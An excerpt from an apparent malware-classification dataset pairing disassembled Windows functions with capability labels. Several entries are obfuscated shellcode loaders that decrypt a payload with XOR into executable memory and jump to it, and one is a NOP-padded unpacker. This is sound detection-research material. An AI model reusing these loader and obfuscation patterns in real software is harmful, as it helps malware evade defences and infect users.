joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000993c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x1001b234], 0
push esi
jne 0x100098af
call fcn.100097d5
test eax, eax
je 0x100098f2
mov eax, dword [0x1001b234]
cmp eax, 1
jne 0x100098d0
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x100098f2
pop esi
ret
push eax
call dword [0x1001b23c]
test eax, eax
jne 0x1000993a
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100098f6
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x1001b234]
call dword [0x1001b23c]
mov edi, eax
test edi, edi
je 0x1000991b
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10009937
mov edi, esi
add esi, 0xff0
push edi
push dword [0x1001b234]
call dword [0x1001b238]
add edi, 0x10
cmp edi, esi
jb 0x10009923
mov eax, edi
pop edi
pop esi
ret
jmp 0x1000989c

Function at 0x10009e48
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001a1b8]
jne 0x10009e52
repz ret
jmp fcn.1000c53c
Function at 0x100123b1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000beb7
and dword [ebp - 4], 0
cmp dword [0x1001bc34], 0
mov ebx, eax
jne 0x10012462
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10012513
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10017668
push edi
call esi
test eax, eax
je 0x10012513
push eax
call fcn.1000be45
mov dword [esp], 0x10017658
push edi
mov dword [0x1001bc34], eax
call esi
push eax
call fcn.1000be45
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001bc38], eax
call esi
push eax
call fcn.1000be45
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1001bc3c], eax
call esi
push eax
call fcn.1000be45
pop ecx
mov dword [0x1001bc44], eax
test eax, eax
je 0x10012462
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000be45
pop ecx
mov dword [0x1001bc40], eax
mov eax, dword [0x1001bc40]
cmp eax, ebx
je 0x100124ba
cmp dword [0x1001bc44], ebx
je 0x100124ba
push eax
call fcn.1000bec0
push dword [0x1001bc44]
mov esi, eax
call fcn.1000bec0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100124ba
test edi, edi
je 0x100124ba
call esi
test eax, eax
je 0x100124b1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100124b1
test byte [ebp - 0xc], 1
jne 0x100124ba
or dword [ebp + 0x10], 0x200000
jmp 0x100124f3
mov eax, dword [0x1001bc38]
cmp eax, ebx
je 0x100124f3
push eax
call fcn.1000bec0
pop ecx
test eax, eax
je 0x100124f3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100124f3
mov eax, dword [0x1001bc3c]
cmp eax, ebx
je 0x100124f3
push eax
call fcn.1000bec0
pop ecx
test eax, eax
je 0x100124f3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001bc34]
call fcn.1000bec0
pop ecx
test eax, eax
je 0x10012513
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10012515
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403024
pop dword [ebp - 0x2c]
mov eax, 0x59e9a320
add eax, 0xa6568d04
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x2f56968c
add dword [ebp - 0x3c], 0x1efbaebf
mov dword [ebp - 0x38], 0xc3e7d863
sub dword [ebp - 0x38], 0x91b48c1e
mov dword [ebp - 0x34], 0xb4305aa3
sub dword [ebp - 0x34], 0x67e41675
mov dword [ebp - 0x30], 0xa57c81df
sub dword [ebp - 0x30], 0xa57c81df
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x5d5d84d4
add dword [ebp - 0x3c], 0x1714e482
mov dword [ebp - 0x38], 0x1118e745
add dword [ebp - 0x38], 0x30537a30
mov dword [ebp - 0x34], 0xc42fdc7f
add dword [ebp - 0x34], 0x9f3f8fed
mov dword [ebp - 0x30], 0xfa670228
add dword [ebp - 0x30], 0x598fdd8
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xfbc35df9
sub eax, 0xfb82dd7d
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3be40
push 0
call eax
mov ecx, 0x83ce2e5c
sub ecx, 0x83cdd2f3
mov edx, eax
mov ebx, 0x4d2ceb16
sub ebx, 0x4ce7d716
add ebx, dword [ebp - 0x2c]
mov esi, 0x79387f3b
add esi, 0xd9d313f1
add dword [ebp - 0x24], 0x3c84e5a0
mov edi, dword [ebx]
sub dword [ebp - 0x14], 0x395aeadd
sub edi, esi
xor dword [ebp - 0x1c], edi
mov dword [edx], edi
xor dword [ebp - 0x1c], ebx
add edx, 0x71a5d39b
sub edx, 0x71a5d397
add ebx, 0xafad9b5
add ebx, 0xf505264f
loop 0x403141
add eax, 0xbda18c3b
add eax, 0x425fd43c
mov ebx, eax
add eax, 0x4ade8e7d
add eax, 0xb5217188
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00408fe0
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00408fe0
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00408fe0
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00408fe0
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00408fe0
mov dword [0x41203c], eax
call fcn.00408fe0
test eax, eax
jge 0x402550
push 8
call fcn.00408fe0
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00408fe0
pop ecx
push 1
call fcn.00408fe0
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00408fe0
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00408fe0
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00408fe0
jmp 0x402495

Function at 0x408fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x408fef
pop dword [ebp - 0xc]
mov eax, 0x8466991d
sub eax, 0x8426092e
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3692e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xa3b8c981
sub ecx, 0xa3b88c01
mov edi, eax
mov ebx, 0x2711a3fc
sub ebx, 0x26d06838
add ebx, dword [ebp - 0xc]
mov edx, 0x481ae9e6
sub edx, 0x285a8217
add dword [ebp - 4], 0x5baa57e8
mov esi, dword [ebx]
xor dword [ebp - 8], esi
xor esi, edx
mov dword [ebp - 8], 0xff2490bf
mov dword [edi], esi
add dword [ebp - 8], 0xf7d6dcd1
add edi, 4
add ebx, 0x551b2628
sub ebx, 0x551b2624
loop 0x409049
add eax, 0x7e002e89
add eax, 0x8200ba4a
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x7003567
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x7003576
pop dword [ebp - 8]
mov eax, 0x64994084
sub eax, 0x5d990b0e
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x639e5ee2
sub dword [ebp - 0x18], 0x154c1997
mov dword [ebp - 0x14], 0xeae3cd6f
sub dword [ebp - 0x14], 0xb8b0812a
mov dword [ebp - 0x10], 0x641e2e78
add dword [ebp - 0x10], 0xe82e15b6
mov dword [ebp - 0xc], 0x2adc8667
add dword [ebp - 0xc], 0xd5237999
lea eax, [ebp - 0x18]
push eax
mov eax, 0x114cdbc6
add eax, 0xf5b4546a
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x71c77417
add dword [ebp - 0x18], 0x2aaf53f
mov dword [ebp - 0x14], 0xa7b91884
add dword [ebp - 0x14], 0x99b348f1
mov dword [ebp - 0x10], 0x3a24c35c
add dword [ebp - 0x10], 0x294aa910
mov dword [ebp - 0xc], 0xf24708e9
add dword [ebp - 0xc], 0xdb8f717
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39da3
push 0
call eax
mov ecx, 0xd75d925
add ecx, 0xf28a6b7a
xor edi, edi
add edi, eax
mov ebx, 0x2aded49b
sub ebx, 0x23dcd29b
add ebx, dword [ebp - 8]
mov esi, 0xeaeaeb78
add esi, 0x87e4c214
add dword [ebp - 4], 0x54ea760a
mov edx, dword [ebx]
xor edx, esi
add dword [ebp - 4], 0xa225200f
mov dword [edi], edx
sub dword [ebp - 4], edx
add edi, 4
add ebx, 4
loop 0x7003695
add eax, 0xc70a63d8
add eax, 0x38f6a177
xor ebx, ebx
add ebx, eax
add eax, 0xaea6e83e
sub eax, 0xaea6e839
mov ecx, 0x7390a726
sub ecx, 0x6c90a726
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003567
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003567
int3
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401443
pop dword [ebp - 0x34]
mov eax, 0x33414b87
add eax, 0xccfec8bc
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe30b14be
sub dword [ebp - 0x44], 0x94b8cf73
mov dword [ebp - 0x40], 0x77d9cc5e
sub dword [ebp - 0x40], 0x45a68019
mov dword [ebp - 0x3c], 0x1507a91d
add dword [ebp - 0x3c], 0x37449b11
mov dword [ebp - 0x38], 0x98bf7b81
add dword [ebp - 0x38], 0x6740847f
lea eax, [ebp - 0x44]
push eax
mov eax, 0xc69099b5
sub eax, 0xc65018b1
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xe2d001ca
add dword [ebp - 0x44], 0x91a2678c
mov dword [ebp - 0x40], 0xef2b56a6
sub dword [ebp - 0x40], 0xadbef531
mov dword [ebp - 0x3c], 0x979e2f9a
sub dword [ebp - 0x3c], 0x342ec32e
mov dword [ebp - 0x38], 0x6aac3a40
sub dword [ebp - 0x38], 0x6aac3a40
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xa564a0d1
sub eax, 0xa5241fd1
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3cf9e
push 0
call eax
mov ecx, 0xc34369d1
sub ecx, 0xc3430f13
mov edi, eax
mov ebx, 0x46e400
add ebx, dword [ebp - 0x34]
mov edx, 0xcc710550
add edx, 0xebc63749
xor dword [ebp - 0x28], 0x9d032606
mov esi, dword [ebx]
add dword [ebp - 0x14], 0xcfe19d21
xor esi, edx
xor dword [ebp - 0x1c], ebx
mov dword [edi], esi
add dword [ebp - 0x10], 0xe40f1498
add edi, 0xdcd1e979
add edi, 0x232e168b
add ebx, 0x10ec83f7
sub ebx, 0x10ec83f3
loop 0x40155f
add eax, 0x60763555
sub eax, 0x6074d78a
xor ebx, ebx
add ebx, eax
add eax, 0x2d5d38a5
add eax, 0xd2a2c760
mov ecx, 0x81cb4af0
sub ecx, 0x818b4af0
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0xc739aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edx, ecx
push 8
xor eax, eax
pop ecx
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
mov eax, dword [edx]
cmp eax, 0x10
jae 0xc73a05
mov esi, dword [edx + 4]
lea ecx, [eax + eax]
mov ebx, ecx
lea edi, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add eax, eax
lea ecx, [ebp - 0x20]
cmp eax, 0x20
jg 0xc73a12
and dword [edx + 8], 0
test eax, eax
jle 0xc73a00
mov esi, dword [edx + 8]
movsx edi, byte [ecx]
shl esi, 1
xor esi, edi
inc ecx
dec eax
mov dword [edx + 8], esi
jne 0xc739ef
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [edx + 4]
push 8
pop ecx
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
jmp 0xc739dd
push 0x20
pop eax
jmp 0xc739e7

Function at 0xc7d8ab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp byte [ecx], bl
push edi
mov dword [ebp - 4], ebx
mov edx, ecx
je 0xc7d8c5
inc edx
cmp byte [edx], bl
jne 0xc7d8c0
mov esi, dword [ebp + 0x10]
dec edx
mov edi, esi
cmp edx, ecx
jb 0xc7d8d7
mov al, byte [edx]
dec edx
mov byte [edi], al
inc edi
jmp 0xc7d8cb
mov byte [edi], bl
cmp byte [esi], bl
mov edx, esi
je 0xc7d8e4
inc edx
cmp byte [edx], bl
jne 0xc7d8df
dec edx
cmp byte [ecx], bl
mov dword [ebp + 8], edx
mov edi, ecx
je 0xc7d8f3
inc edi
cmp byte [edi], bl
jne 0xc7d8ee
dec edi
cmp ecx, edi
jae 0xc7d912
mov edx, esi
sub edx, ecx
mov al, byte [ecx]
xor byte [ecx + edx], al
movsx eax, byte [ecx + edx]
add dword [ebp - 4], eax
inc ecx
cmp ecx, edi
jb 0xc7d8fc
mov edx, dword [ebp + 8]
xor ebx, ebx
cmp esi, edx
mov ecx, esi
jae 0xc7d91e
inc ecx
dec edx
cmp ecx, edx
jb 0xc7d918
mov eax, dword [ebp - 4]
push 0xa
lea edi, [ecx - 1]
xor edx, edx
pop ecx
div ecx
mov eax, dword [ebp + 0xc]
add dl, 0x61
cmp esi, edi
ja 0xc7d94c
mov cl, byte [esi]
and cl, 0xf
add cl, dl
mov byte [eax], cl
mov cl, byte [esi]
sar cl, 4
inc eax
add cl, dl
mov byte [eax], cl
inc eax
inc esi
jmp 0xc7d931
pop edi
mov byte [eax], bl
pop esi
pop ebx
leave
ret
Function at 0xc8a292
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
mov al, byte [edi + 2]
mov edx, dword [esi + 0x64]
and eax, 3
shl eax, 3
and edx, 0xffffffe7
mov ecx, dword [esi + 0x50]
or eax, edx
mov dword [esi + 0x64], eax
mov dl, byte [edi + 8]
and edx, 3
and ah, 0xfc
shl edx, 8
or edx, eax
mov dword [esi + 0x64], edx
mov al, byte [edi]
and eax, 7
and edx, 0xfffffff8
or eax, edx
mov dword [esi + 0x64], eax
mov ax, word [edi]
cmp ax, 5
je 0xcbfe97
cmp ax, 6
je 0xcbfe97
mov al, byte [edi + 4]
mov ecx, dword [esi + 0x64]
and eax, 3
and ecx, 0xffffff9f
shl eax, 5
or eax, ecx
mov ebx, dword [0x27581540]
mov dword [esi + 0x64], eax
mov cl, byte [edi + 6]
and ecx, 1
and al, 0x7f
shl ecx, 7
or ecx, eax
mov dword [esi + 0x64], ecx
mov al, byte [edi + 0xa]
and eax, 1
and ch, 0xfb
shl eax, 0xa
or eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x68], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x70]
test eax, eax
jne 0xcbfea2
mov eax, dword [esi + 0x74]
test eax, eax
jne 0xcbfeaa
mov eax, dword [esi + 0x7c]
test eax, eax
jne 0xcbfeb2
mov eax, dword [edi + 0x18]
mov ecx, esi
mov dword [esi + 0x70], eax
mov eax, dword [edi + 0x1c]
mov dword [esi + 0x74], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x7c], eax
push dword [edi + 0x20]
call fcn.00c753c7
push dword [edi + 0x20]
call ebx
push dword [edi + 0x24]
mov ecx, esi
call fcn.00c76948
push dword [edi + 0x24]
call ebx
mov eax, dword [edi + 0x14]
pop edi
mov dword [esi + 0x80], eax
pop esi
xor eax, eax
pop ebx
ret 4
push eax
call fcn.00ca7413
jmp 0xc8a2e7
push eax
call ebx
jmp 0xc8a339
push eax
call ebx
jmp 0xc8a344
push eax
call ebx
jmp 0xc8a34f
Function at 0xd77e09
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp byte [ecx], bl
push edi
mov dword [ebp - 4], ebx
mov edx, ecx
je 0xd77e23
inc edx
cmp byte [edx], bl
jne 0xd77e1e
mov esi, dword [ebp + 0x10]
dec edx
mov edi, esi
cmp edx, ecx
jb 0xd77e35
mov al, byte [edx]
dec edx
mov byte [edi], al
inc edi
jmp 0xd77e29
mov byte [edi], bl
cmp byte [esi], bl
mov edx, esi
je 0xd77e42
inc edx
cmp byte [edx], bl
jne 0xd77e3d
dec edx
cmp byte [ecx], bl
mov dword [ebp + 8], edx
mov edi, ecx
je 0xd77e51
inc edi
cmp byte [edi], bl
jne 0xd77e4c
dec edi
cmp ecx, edi
jae 0xd77e70
mov edx, esi
sub edx, ecx
mov al, byte [ecx]
xor byte [ecx + edx], al
movsx eax, byte [ecx + edx]
add dword [ebp - 4], eax
inc ecx
cmp ecx, edi
jb 0xd77e5a
mov edx, dword [ebp + 8]
xor ebx, ebx
cmp esi, edx
mov ecx, esi
jae 0xd77e7c
inc ecx
dec edx
cmp ecx, edx
jb 0xd77e76
mov eax, dword [ebp - 4]
push 0xa
lea edi, [ecx - 1]
xor edx, edx
pop ecx
div ecx
mov eax, dword [ebp + 0xc]
add dl, 0x61
cmp esi, edi
ja 0xd77eaa
mov cl, byte [esi]
and cl, 0xf
add cl, dl
mov byte [eax], cl
mov cl, byte [esi]
sar cl, 4
inc eax
add cl, dl
mov byte [eax], cl
inc eax
inc esi
jmp 0xd77e8f
pop edi
mov byte [eax], bl
pop esi
pop ebx
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x18d62fde
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x35cf3263
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x403e59
pop dword [ebp - 0x50]
mov eax, 0x24464a6a
add eax, 0xdbf9f3ef
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x7b30e48f
add dword [ebp - 0x60], 0xd32160bc
mov dword [ebp - 0x5c], 0x18c32baa
add dword [ebp - 0x5c], 0x1970209b
mov dword [ebp - 0x58], 0x7ab24478
add dword [ebp - 0x58], 0xd199ffb6
mov dword [ebp - 0x54], 0x8e6d628e
sub dword [ebp - 0x54], 0x8e6d628e
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x87b3a64e
sub dword [ebp - 0x60], 0x13413cf8
mov dword [ebp - 0x5c], 0x5c088aac
add dword [ebp - 0x5c], 0xe563d6c9
mov dword [ebp - 0x58], 0x4399690a
add dword [ebp - 0x58], 0x1fd60362
mov dword [ebp - 0x54], 0x473072c4
add dword [ebp - 0x54], 0xb8cf8d3c
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x607c358f
add eax, 0x9fc44b45
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x37875
push 0
call eax
mov ecx, 0x9c27510f
sub ecx, 0x9c2705ef
mov edx, eax
mov edi, 0x22a47d03
sub edi, 0x22636d03
add edi, dword [ebp - 0x50]
mov esi, 0xd485778e
xor dword [ebp - 0x24], 0x23c1fb3
mov ebx, dword [edi]
add dword [ebp - 0x2c], edx
xor ebx, esi
sub dword [ebp - 0xc], ebx
mov dword [edx], ebx
add dword [ebp - 0xc], 0x93cad47
add edx, 0xad9706c9
add edx, 0x5268f93b
add edi, 0xb9c4de3c
add edi, 0x463b21c8
loop 0x403f70
add eax, 0x84312cc2
add eax, 0x7bcff291
xor ebx, ebx
add ebx, eax
add eax, 0x30286c23
add eax, 0xcfd793e2
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret